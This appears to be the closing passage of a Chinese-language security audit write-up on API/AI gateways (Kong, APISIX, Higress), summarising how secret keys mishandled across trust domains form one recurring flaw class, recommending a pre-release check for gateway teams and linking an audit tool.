盯住密钥这个切法,是我翻到第二个产品的时候才串起来的。第一个(Kong)我只看到"配置里的密钥能被请求面改向"。直到在 APISIX 看到"声明和实现脱节"、在 Higress 看到"内部信号可伪造成",才意识到这三个是同一个问题的三种形态——密钥在多信任域里流动,实现却只按其中一方的假设写了。

对做这类网关的团队,有个能直接落地的事:把"密钥在网关里会经过谁的手"当成发布前检查项,逐个问一句"这一环上谁有决定权,这个决定权是不是本意"。

审计过程中还做了个跨产品工具:

github.com/qianlijaingshan/ai-gateway-audit

工具的适用范围和局限写在第六节,用它之前建议先读那一段。这几条结论都是在服务器上实跑出来的,命令随文章一起给,你可以照着复现。